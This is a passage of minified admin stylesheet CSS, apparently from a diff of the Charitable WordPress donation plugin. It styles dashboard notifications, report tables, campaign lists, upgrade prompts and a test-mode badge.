rgba(0,0,0,.15);border-radius:4px;position:relative}.charitable-dashboard-notifications .charitable-dashboard-notification{padding:10px;display:flex;justify-content:left;background-color:#f18500;text-align:left;align-items:center}.charitable-dashboard-notifications .charitable-dashboard-notification .charitable-dashboard-notification-icon{margin:0 10px 0 10px;width:18px;height:18px}.charitable-dashboard-notifications .charitable-dashboard-notification h4.charitable-dashboard-notification-headline{display:none}.charitable-dashboard-notifications .charitable-dashboard-notification p:first-of-type{margin-top:0}.charitable-dashboard-notifications .charitable-dashboard-notification-bar{position:absolute;right:0;top:0;display:flex;justify-content:space-between;align-items:center}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation{position:relative;right:20px;top:-14px;padding:0;display:flex;justify-content:space-between;align-items:center;min-height:45px}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a{cursor:pointer;color:#000;text-decoration:none;font-weight:200;font-size:32px;line-height:32px;display:inline-block;opacity:.3;padding:0 4px;position:relative;top:1px;border-radius:5px;background-color:transparent}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a:hover{opacity:.5}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation .charitable-dashboard-notification-counter{font-size:13px;color:#666;white-space:nowrap;padding:0 4px;line-height:32px}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{position:relative;right:5px;top:-10px;font-size:14px;line-height:14px;width:18px;height:18px;text-decoration:none;opacity:.3;background-image:url(../../images/onboarding/checklist/times-circle-regular.svg);color:#fff;background-color:#fff;-webkit-mask-image:url(../../images/onboarding/checklist/times-circle-regular.svg);mask-image:url(../../images/onboarding/checklist/times-circle-regular.svg)}.charitable-dashboard-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification:hover{opacity:.5}.charitable-dashboard-notifications .charitable-dashboard-notification{background-color:#fff;border:1px solid #c3c4c7;border-left-width:4px;padding:0;box-shadow:0 1px 1px rgba(0,0,0,.04);border-radius:4px;border-left-color:#72aee6}.charitable-dashboard-notifications .charitable-dashboard-notification.charitable-notification-type-notice{border-left-color:#72aee6}.charitable-dashboard-notifications .charitable-dashboard-notification.charitable-notification-type-important{border-left-color:#eaa465}.charitable-dashboard-notifications .charitable-dashboard-notification-message{padding:20px}.charitable-dashboard-notifications .charitable-dashboard-notification-message h5:first-of-type{font-size:18px;line-height:21px;margin:0 0 10px 0;padding:0}.charitable-dashboard-notifications .charitable-dashboard-notification-message p:first-child{margin-top:2px}.charitable-dashboard-notifications .charitable-dashboard-notification-message p:last-child{margin-bottom:2px}.charitable-dashboard-notifications .charitable-dashboard-notification-message ol,.charitable-dashboard-notifications .charitable-dashboard-notification-message ul{margin-top:5px}.charitable-dashboard-notifications ul{margin:0 0 0 20px;padding:0;list-style-type:disc}.charitable-dashboard-notifications .charitable-dashboard-notification[data-notification-type=notice] header{background-color:#0054f1}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice{background-color:#f0f6fc;border-left:solid 4px #017cba;color:#1e1e1e;padding:12px 12px 12px 16px;margin-bottom:0}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice strong{display:block}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice a{display:block}.interface-interface-skeleton__sidebar .wpchar-gutenberg-panel-notice.wpchar-warning{background-color:#fef8ee;border-left-color:#efb84a;margin-bottom:12px}.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-progress-bar .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-stats .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaigns-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donation-button .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donations-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donors-block .charitable-logo,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-my-donations .charitable-logo{max-width:255px!important;margin-bottom:10px!important;padding-bottom:10px!important;border-bottom:1px solid #e8e8eb}.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-progress-bar p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaign-stats p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-campaigns-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donation-button p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donations-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-donors-block p,.editor-styles-wrapper .block-editor-block-list__layout .wp-block-charitable-my-donations p{margin-top:2px!important;margin-bottom:2px!important}body.post-type-donation.charitable-admin-donation-edit #post-body input[type=email],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=number],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=password],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=search],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=tel],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=text],body.post-type-donation.charitable-admin-donation-edit #post-body input[type=url]{padding:8px 10px}body.post-type-donation.charitable-admin-donation-edit #donation-form-meta{padding-top:0}body.post-type-donation.charitable-admin-donation-edit #postbox-container-2 .postbox-header{display:none}#charitable-reports .charitable-report-table-container{position:relative}#charitable-reports .charitable-report-table-container .reports-lite-cta{z-index:999;position:absolute;top:25%;left:0;right:0;margin:25px}@media screen and (max-width:1200px){body.charitable_page_charitable-dashboard .charitable-cards .charitable-card,body.charitable_page_charitable-reports .charitable-cards .charitable-card{padding-top:30px;padding-bottom:30px}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong,body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}}@media screen and (max-width:1000px){body.charitable_page_charitable-dashboard .charitable-cards,body.charitable_page_charitable-reports .charitable-cards{grid-template-columns:repeat(2,1fr)}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong,body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{font-size:42px;line-height:44px}}@media screen and (max-width:800px){body.charitable_page_charitable-dashboard .charitable-cards,body.charitable_page_charitable-reports .charitable-cards{grid-template-columns:repeat(2,1fr)}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong,body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}body.charitable_page_charitable-dashboard .charitable-section-grid,body.charitable_page_charitable-reports .charitable-section-grid{grid-template-columns:repeat(1,1fr)}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third,body.charitable_page_charitable-reports .charitable-section-grid.one-third{display:grid}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-top-campaigns-report,body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-top-campaigns-report{width:100%}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-payment-methods-report,body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-payment-methods-report{width:100%}body.charitable_page_charitable-dashboard .charitable-section-flexible,body.charitable_page_charitable-reports .charitable-section-flexible{columns:1;column-gap:0;display:block}#charitable-reports .charitable-report-table-container table.wp-list-table td,#charitable-reports .charitable-report-table-container table.wp-list-table th{white-space:nowrap;overflow:hidden;text-overflow:ellipsis}#charitable-reports .charitable-report-table-container table.wp-list-table td.charitable-avatar,#charitable-reports .charitable-report-table-container table.wp-list-table th.charitable-avatar{display:none;width:1px}#charitable-reports .charitable-report-table-container table.wp-list-table td.manage-column.column-actions,#charitable-reports .charitable-report-table-container table.wp-list-table th.manage-column.column-actions{width:30px}}@media screen and (max-width:700px){body.charitable_page_charitable-dashboard .charitable-cards,body.charitable_page_charitable-reports .charitable-cards{grid-template-columns:repeat(2,1fr)}body.charitable_page_charitable-dashboard .charitable-cards .charitable-card strong,body.charitable_page_charitable-reports .charitable-cards .charitable-card strong{font-size:24px;line-height:24px}body.charitable_page_charitable-dashboard .charitable-section-grid,body.charitable_page_charitable-reports .charitable-section-grid{grid-template-columns:repeat(1,1fr)}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third,body.charitable_page_charitable-reports .charitable-section-grid.one-third{display:grid}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-top-campaigns-report,body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-top-campaigns-report{width:100%}body.charitable_page_charitable-dashboard .charitable-section-grid.one-third .charitable-payment-methods-report,body.charitable_page_charitable-reports .charitable-section-grid.one-third .charitable-payment-methods-report{width:100%}body.charitable_page_charitable-dashboard .charitable-section-flexible,body.charitable_page_charitable-reports .charitable-section-flexible{columns:1;column-gap:0;display:block}}body.charitable_page_charitable-settings .charitable-education-page .charitable-settings-heading-pro h4{margin-top:40px}.charitable-education-page{max-width:1000px;margin-bottom:30px;padding:0}.charitable-education-page .charitable-education-page-heading h4,.charitable-education-page .charitable-settings-heading-pro h4{font-size:20px;font-weight:600;margin:20px 0 6px 0;line-height:20px}.charitable-education-page .charitable-education-page-heading h4:after,.charitable-education-page .charitable-settings-heading-pro h4:after{background-color:#f99e36;color:#fff;content:"Pro";padding:3px 7px;font-size:9px;line-height:9px;text-transform:uppercase;font-weight:600;margin-left:5px;margin-right:5px;margin-top:0;position:relative;top:-3px}.charitable-education-page .charitable-education-page-images{display:flex;gap:25px;margin:25px 0}.charitable-education-page .charitable-education-page-images figure{margin:0}.charitable-education-page .charitable-education-page-images figcaption{font-style:normal;font-weight:400;font-size:14px;line-height:17px;text-align:center;color:#777;margin-top:10px}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image{display:inline-block;position:relative;background-color:#fff;box-shadow:rgba(0,0,0,.05) 0 2px 5px 0;padding:5px;border-radius:3px}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image img{max-width:100%;display:block}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image .hover{position:absolute;opacity:0;height:calc(100% - 10px);width:calc(100% - 10px);top:0;left:0;border:5px solid #fff;background-color:rgba(0,0,0,.15);background-image:url(../../images/pro/icons/zoom.svg);background-repeat:no-repeat;background-position:center;background-size:50px;transition:all .3s;box-sizing:initial}.charitable-education-page .charitable-education-page-images .charitable-education-page-images-image:hover .hover{opacity:1;transition:all .3s}.charitable-education-page .charitable-education-page-caps{max-width:986px;box-sizing:content-box;box-shadow:rgba(0,0,0,.05) 0 2px 4px;background:#fff;border-radius:6px;padding:20px 20px 0 20px;overflow:auto}.charitable-education-page .charitable-education-page-caps p{font-weight:600;font-size:16px;line-height:23px;color:#32373c;margin-bottom:20px;margin-top:0}.charitable-education-page .charitable-education-page-caps ul{display:flex;flex-wrap:wrap;margin:0}.charitable-education-page .charitable-education-page-caps ul li{flex:0 0 calc(33.333% - 40px);font-weight:400;font-size:14px;line-height:20px;color:#50575e;margin-bottom:20px;position:relative;padding-left:20px;padding-right:20px}.charitable-education-page .charitable-education-page-caps ul li i{margin-right:10px;position:absolute;top:2px;left:0}.charitable-education-page .charitable-education-page-button{margin-top:25px}.charitable-education-page .charitable-education-page-button a{font-size:16px;font-weight:600;padding:16px 28px!important;background-color:#5aa152!important;color:#fff!important}.charitable-education-page .charitable-education-page-button a:hover{background-color:#4a8742!important}.charitable-education-page .charitable-education-page-disabled-download{margin-top:25px}.charitable-education-page .charitable-education-page-disabled-download p{font-size:16px;font-weight:600;color:#d63638}body.charitable-admin-promotion-footer #wpbody{padding-bottom:150px!important}#wpfooter .charitable-footer-promotion{text-align:center;font-weight:400;font-size:13px;line-height:normal;color:#646970;padding:30px 0;margin-bottom:20px}#wpfooter .charitable-footer-promotion p{font-weight:600}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links,#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{display:flex;justify-content:center;align-items:center}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links{margin:10px 0;color:#646970}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links a{color:#056aab}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links a:hover{color:#04558a}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links span{color:#c3c4c7;padding:0 7px}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{gap:10px;margin:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li{margin-bottom:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li path{color:#646970}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li:hover path{fill:#50575e}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social li a{display:block;height:16px}#wpfooter #footer-left{color:#50575e;font-size:13px;font-style:normal;font-weight:400;line-height:normal}#wpfooter #footer-left strong{font-weight:600}@media (max-width:782px){body.charitable-admin-promotion-footer #wpbody{padding-bottom:200px!important}#wpfooter .charitable-footer-promotion{padding:20px 0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links{flex-direction:column;gap:10px}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-links li{margin:0}#wpfooter .charitable-footer-promotion .charitable-footer-promotion-social{margin-top:20px}}#wpadminbar .charitable-test-mode-active .charitable-test-mode-badge{color:#fff;background-color:#e89940!important;font-weight:600;padding:0 8px;border-radius:4px;margin:0 4px;display:inline-block;white-space:nowrap;border:2px solid #000;font-size:12px;line-height:25px}#wpadminbar .charitable-test-mode-active .charitable-test-mode-badge::before{content:"⚠ ";margin-right:4px;font-weight:700}#wpadminbar .charitable-test-mode-active:hover .charitable-test-mode-badge{background-color:#d68a37!important}@keyframes charitable-test-mode-flash{0%{background-color:transparent}50%{background-color:rgba(232,153,64,.5);color:#fff}100%{background-color:transparent}}tr.charitable-settings-field.charitable-test-mode-checkbox.charitable-test-mode-flash{animation:charitable-test-mode-flash 2s ease-in-out}.charitable-global-upgrade-cta{width:fit-content;margin-left:auto;margin-right:auto;padding:20px 80px;background:#fff}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-title{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:700;font-style:normal;font-size:20px;line-height:33px;letter-spacing:.01em;text-align:center;color:rgba(25,29,45,.8);margin:0;padding-top:10px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features{display:flex;gap:10px 10px;margin:30px auto;max-width:530px;justify-content:center}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-column{flex:1;max-width:300px;display:flex;flex-direction:column;gap:20px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature{display:flex;align-items:flex-start;gap:12px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-checkmark{width:18px;height:18px;flex-shrink:0;margin-top:2px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-feature-text{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:500;font-size:14px;line-height:150%;letter-spacing:0;color:rgba(25,29,45,.8);margin:0}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions{display:flex;flex-direction:column;align-items:center;gap:20px;margin-top:30px;padding-bottom:20px}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button{background:#da9021;border:none;border-radius:4px;padding:22px 42px;font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:600;font-size:19px;line-height:100%;letter-spacing:0;color:#fff;cursor:pointer;transition:background .2s ease;text-decoration:none}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button:hover{background:#c4821e}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link{font-family:Inter,-apple-system,BlinkMacSystemFont,"Segoe UI",Roboto,sans-serif;font-weight:600;font-size:14px;line-height:150%;letter-spacing:0;text-align:center;text-decoration:underline;color:rgba(25,29,45,.5);transition:color .2s ease}.charitable-global-upgrade-cta .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link:hover{color:rgba(25,29,45,.7)}#charitable-reports .charitable-report-table-container .reports-lite-cta{margin:auto!important;box-shadow:0 2px 8px rgba(0,0,0,.1)} \ No newline at end of file +@charset "UTF-8";@import url("https://fonts.googleapis.com/css2?family=Inter:wght@400;500;600;800&display=swap");.charitable-toggle-control{display:block;margin:6px 1px 5px 0px}.charitable-toggle-control input[type=checkbox]{display:none;height:0;width:0}.charitable-toggle-control input[type=checkbox]:checked + label.charitable-toggle-control-icon{background-color:#036aab}.charitable-toggle-control input[type=checkbox]:checked + label.charitable-toggle-control-icon:after{left:calc(100% - 15px - 2px)}.charitable-toggle-control span, .charitable-toggle-control label{display:inline-block;margin-bottom:0;margin-left:5px}.charitable-toggle-control label{cursor:pointer}.charitable-toggle-control .charitable-toggle-control-label{margin:0 0 0 6px;max-width:calc(100% - 65px)}.charitable-toggle-control .charitable-toggle-control-label:hover{cursor:pointer}.charitable-toggle-control .charitable-toggle-control-status{color:#86919e;font-size:12px;line-height:14px;margin:2px 5px}.charitable-toggle-control .charitable-toggle-control-icon{background-color:#bbbbbb;border-radius:8.5px;cursor:pointer;display:inline-block;height:17px;margin:0 1px;position:relative;text-indent:-9999px;width:32px}.charitable-toggle-control .charitable-toggle-control-icon:after{background:#ffffff;border-radius:50%;content:"";height:15px;left:2px;position:absolute;top:1px;width:15px;transition-property:all;transition-duration:0.25s;transition-timing-function:ease-out}.charitable-toggle-control:hover input:checked + label.charitable-toggle-control-icon{background-color:#215d8f}.charitable-toggle-control:hover .charitable-toggle-control-icon{background-color:#777777}.charitable-group.charitable-layout-options-tab-group .charitable-toggle-control-icon{margin:-4px 1px}.charitable-panel-sidebar .charitable-toggle-control .charitable-toggle-control-icon{background-color:#b0b6bd}.charitable-panel-sidebar .charitable-toggle-control:hover .charitable-toggle-control-icon{background-color:#86919e}.charitable-panel-sidebar .charitable-toggle-control.charitable-field-option-in-label-right .charitable-toggle-control-label{color:#86919e;font-size:12px;line-height:14px;margin:2px 5px;max-width:initial}body[class*=charitable_page_] #wpbody-content .wrap,body.post-type-charitable #wpbody-content .wrap,body.post-type-donation #wpbody-content .wrap{padding-left:10px;padding-right:10px}body.charitable_page_charitable-addons #wpbody-content .wrap{padding-left:5px;padding-right:5px}#charitable-admin-header{background-color:#ffffff;margin:0 0 0 -20px;padding-right:20px;width:100%;border-top:3px solid #E89940;border-bottom:1px solid #ddd;border-left:0;border-right:0}[dir=rtl] #charitable-admin-header{margin:0 -20px 0 0px}#charitable-admin-header .charitable-admin-header-interior{padding:0px 30px;display:flex;justify-content:center;align-items:center;min-height:80px}#charitable-admin-header h1{flex:1;text-align:left}[dir=rtl] #charitable-admin-header h1{text-align:right}#charitable-admin-header .round{border-radius:50%;width:40px;height:40px;display:flex;align-items:center;justify-content:center;cursor:pointer;transition:background-color 0.2s ease;animation:wpchar-menu-notification-indicator-pulse 1.5s infinite}#charitable-admin-header .charitable-header-logos{text-align:right}#charitable-admin-header .charitable-header-logos ul{margin:0 -20px 0 0;padding:0;display:flex}#charitable-admin-header .charitable-header-logos ul li{margin:0 10px;display:inline-block;width:30px;height:30px}#charitable-admin-header .charitable-header-logos ul li a{display:block}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox{position:relative}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox svg{width:30px;height:34.5px;margin:0;padding:0;position:relative;top:-4px;color:#8c8e96}#charitable-admin-header .charitable-header-logos ul li a.charitable-notification-inbox .number{position:absolute;background-color:#df2a4a;width:16px;height:16px;font-weight:600;font-size:10px;color:#fff;right:-3px;top:-5px;margin:0;margin-left:0px;animation:wpchar-bounce-in 1.2s 5;z-index:2}#charitable-admin-header .charitable-header-logos ul li a:hover{opacity:0.5}@keyframes wpchar-bounce-in{0%, 30%, 50%, 80%, 100%{transform:translateY(0);opacity:1}40%{transform:translateY(-10px)}60%{transform:translateY(-5px)}}body.post-type-campaign{}body.post-type-campaign #posts-filter input,body.post-type-campaign #posts-filter select,body.post-type-campaign #posts-filter textarea,body.post-type-campaign #posts-filter button{font-family:"Inter", sans-serif !important}body.post-type-campaign table{border-color:#DDD}body.post-type-campaign table thead th a,body.post-type-campaign table tfoot th a{color:#6A6C77;font-weight:500}body.post-type-campaign table thead th,body.post-type-campaign table tfoot th,body.post-type-campaign table thead td,body.post-type-campaign table tfoot td{border-color:#DDD}body.post-type-campaign table td.title{font-weight:400;padding-right:50px}body.post-type-campaign table td.title a{font-weight:400}body.post-type-campaign h1{font-family:"Inter", sans-serif;font-weight:500}body.post-type-campaign h1.wp-heading-inline{font-size:21px;margin-right:10px;margin-bottom:5px;margin-top:20px}body.post-type-campaign #screen-meta-links{display:none}body.post-type-campaign.edit-tags-php p.search-box{position:relative;right:0;bottom:0;margin-top:20px;display:none}body.post-type-campaign.edit-tags-php span.subtitle{padding:0;margin:25px 0 0 0;display:block;width:100%}body.post-type-campaign select,body.post-type-campaign input#search-submit,body.post-type-campaign #input.button{background-color:#F9F9FA;color:#52545F;border-color:#E4E4E7;height:38px;padding-top:0;padding-bottom:0}body.post-type-campaign form#posts-filter .tablenav{font-family:"Inter", sans-serif}body.post-type-campaign form#posts-filter .tablenav select{min-width:160px}body.post-type-campaign form#posts-filter .tablenav.top{margin-bottom:20px}body.post-type-campaign form#posts-filter .tablenav.top select,body.post-type-campaign form#posts-filter .tablenav.top button{font-size:13px;line-height:29px;font-weight:500}body.post-type-campaign form#posts-filter .tablenav.top button{padding:0 15px}body.post-type-campaign form#posts-filter .tablenav.bottom{margin-top:25px}body.post-type-campaign form#posts-filter .tablenav.bottom select,body.post-type-campaign form#posts-filter .tablenav.bottom button{font-size:13px;line-height:29px;font-weight:500}body.post-type-campaign form#posts-filter .tablenav.bottom button{padding:0 15px}body.post-type-campaign .charitable-campaign-legacy-actions,body.post-type-campaign .charitable-campaign-export-actions,body.post-type-campaign .charitable-campaign-filter-actions{font-family:"Inter", sans-serif}body.post-type-campaign .charitable-campaign-legacy-actions a,body.post-type-campaign .charitable-campaign-export-actions a,body.post-type-campaign .charitable-campaign-filter-actions a{font-size:14px;pointer-events:all;line-height:19px;color:#2B66D1;font-weight:500;display:inline-block;padding-top:8px}body.post-type-campaign .charitable-campaign-legacy-actions a label,body.post-type-campaign .charitable-campaign-export-actions a label,body.post-type-campaign .charitable-campaign-filter-actions a label{display:block;text-decoration:underline;float:left;margin-top:-2px;cursor:pointer}body.post-type-campaign .charitable-campaign-legacy-actions a img,body.post-type-campaign .charitable-campaign-export-actions a img,body.post-type-campaign .charitable-campaign-filter-actions a img{width:16px;height:16px;display:block;margin-right:4px;float:left}body.post-type-campaign .charitable-campaign-legacy-actions a.charitable-campaigns-clear,body.post-type-campaign .charitable-campaign-export-actions a.charitable-campaigns-clear,body.post-type-campaign .charitable-campaign-filter-actions a.charitable-campaigns-clear{font-weight:400;padding:5px 15px;margin:0 0 0 5px}body.post-type-campaign .charitable-campaign-legacy-actions a img{width:33px;height:32px;display:block;float:left;margin:2px -2px 0 -5px}body.post-type-campaign .charitable-campaign-filter-actions{margin-right:10px}body.post-type-campaign .charitable-campaign-filter-actions a img{width:11px;height:11px;margin-top:2px}body.post-type-campaign .charitable-legacy-actions{margin-left:10px;margin-top:3px}body.post-type-campaign input#post-search-input{border-color:#E4E4E7}body.post-type-campaign .jconfirm .jconfirm-cell{display:block}body.post-type-campaign.edit-php.post-type-campaign th.check-column label:hover{background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .check-column input:hover + label{background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td{vertical-align:middle}body.post-type-campaign.edit-php.post-type-campaign .actions{vertical-align:middle}body.post-type-campaign.edit-php.post-type-campaign .actions button{font-size:18px;border-radius:0;box-shadow:none;border:1px solid #ccc;background-color:transparent;margin:0 5px 0 0}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list th.check-column input[type=checkbox]{margin-top:3px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list th.check-column,body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td{vertical-align:top;padding-top:20px;height:80px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-actions{padding-top:19px}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-creator .charitable-campaign-creator-avatar{border-radius:50%;max-width:25px;max-height:25px;float:left}body.post-type-campaign.edit-php.post-type-campaign tbody#the-list td.column-creator .charitable-campaign-creator-name{display:inline-block;margin-left:10px;margin-top:2px}body.post-type-campaign.edit-php.post-type-campaign .donated .meter{height:10px;position:relative;background:lightgray;padding:0px;margin:10px auto 0 0;width:75%;box-shadow:inset 0 -1px 1px rgba(255, 255, 255, 0.3)}body.post-type-campaign.edit-php.post-type-campaign .donated .meter > span{display:block;height:100%;border-top-right-radius:8px;border-bottom-right-radius:8px;border-top-left-radius:20px;border-bottom-left-radius:20px;background-color:#00a32a;background-image:linear-gradient(center bottom, rgb(43, 194, 83) 37%, rgb(84, 240, 84) 69%);box-shadow:inset 0 2px 9px rgba(255, 255, 255, 0.3), inset 0 -2px 6px rgba(0, 0, 0, 0.4);position:relative;overflow:hidden}body.post-type-campaign.edit-php.post-type-campaign .column-status mark{padding:0px 0px;margin:0;text-align:center;white-space:nowrap;background:white;border-radius:0;font-size:14px;font-weight:400;letter-spacing:1px;text-transform:capitalize;color:#2d2d2d}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.active{color:#00a32a;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.draft{color:#545660;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.finished{color:#215d8f;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.successful{color:#215d8f;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .column-status mark.unsuccessful{color:#d63638;background-color:transparent}body.post-type-campaign.edit-php.post-type-campaign .tablenav.top > .tablenav-pages{display:none}body.post-type-campaign #wpbody-content .page-title-action{background-color:#5AA152;border-radius:5px;border-color:#5AA152;color:#ffffff;height:28px;display:inline-block;padding-top:0;padding-bottom:0;line-height:26px;top:-2px}body.post-type-campaign #wpbody-content .page-title-action:hover{background-color:#3f7539}body.post-type-campaign.charitable-trash .charitable-export-actions{display:none}body.post-type-campaign.charitable-trash #delete_all{margin-top:0 !important;background-color:#F8F8F9;border:1px solid #D7D7DB;border-radius:5px;box-shadow:none;color:#5C5F6A;font-weight:600 !important}@media screen and (max-width:1200px){body.post-type-campaign form#posts-filter .tablenav.top{display:table}body.post-type-campaign form#posts-filter .tablenav.top select{margin-bottom:15px}}@media screen and (max-width:782px){body.post-type-campaign .tablenav .view-switch, body.post-type-campaign .tablenav.top .actions{display:block !important}body.post-type-campaign p.search-box{position:relative;margin:0;right:auto;top:auto}body.post-type-campaign.admin-bar #charitable-admin-header{margin-top:46px}body.charitable_page_charitable-reports #wpbody, body.charitable_page_charitable-tools #wpbody, body.charitable_page_charitable-about #wpbody{padding-top:0}body.charitable_page_charitable-reports .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before, body.charitable_page_charitable-tools .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before, body.charitable_page_charitable-about .wp-list-table tr:not(.inline-edit-row):not(.no-items) td:not(.column-primary)::before{display:none}body.charitable_page_charitable-reports .tablenav .view-switch, body.charitable_page_charitable-reports .tablenav.top .actions, body.charitable_page_charitable-tools .tablenav .view-switch, body.charitable_page_charitable-tools .tablenav.top .actions, body.charitable_page_charitable-about .tablenav .view-switch, body.charitable_page_charitable-about .tablenav.top .actions{display:block !important}body.charitable_page_charitable-reports h2.nav-tab-wrapper, body.charitable_page_charitable-tools h2.nav-tab-wrapper, body.charitable_page_charitable-about h2.nav-tab-wrapper{margin-bottom:0px !important;margin-top:0 !important}body.charitable_page_charitable-reports h2.nav-tab-wrapper a.nav-tab, body.charitable_page_charitable-tools h2.nav-tab-wrapper a.nav-tab, body.charitable_page_charitable-about h2.nav-tab-wrapper a.nav-tab{margin-top:10px !important;margin-bottom:10px !important}body.charitable_page_charitable-reports.admin-bar #charitable-admin-header, body.charitable_page_charitable-tools.admin-bar #charitable-admin-header, body.charitable_page_charitable-about.admin-bar #charitable-admin-header{padding-top:46px}body.charitable_page_charitable-dashboard .tablenav.top .actions, body.charitable_page_charitable-dashboard .tablenav .view-switch{display:block !important;width:100%}}/* * Override the margin-top:46px rule above for the campaign header — keep it * flush against the admin bar at narrow viewports rather than leaving an * empty 46px gap. Cascade order makes this rule win at <=782px since both * media queries match and this one is declared later. */@media screen and (max-width:782px){body.post-type-campaign.admin-bar #charitable-admin-header{margin-top:0}}@media screen and (max-width:600px){body.admin-bar.post-type-campaign #charitable-admin-header, body.admin-bar.charitable_page_charitable-dashboard #charitable-admin-header{margin-bottom:-46px;padding-top:46px;margin-top:0}body.admin-bar.post-type-campaign .row-actions span.id, body.admin-bar.charitable_page_charitable-dashboard .row-actions span.id{color:black;line-height:24px;font-size:13px;margin-left:8px;margin-right:0px}}body[class*=charitable_page_] .search-box input[name=s],body.post-type-campaign .search-box input[name=s],body.post-type-donation .search-box input[name=s]{margin:2px 4px 0 0;height:34px}body[class*=charitable_page_] input#search-submit,body.post-type-campaign input#search-submit,body.post-type-donation input#search-submit{margin-top:2px;height:34px}body[class*=charitable_page_] .alignleft.actions 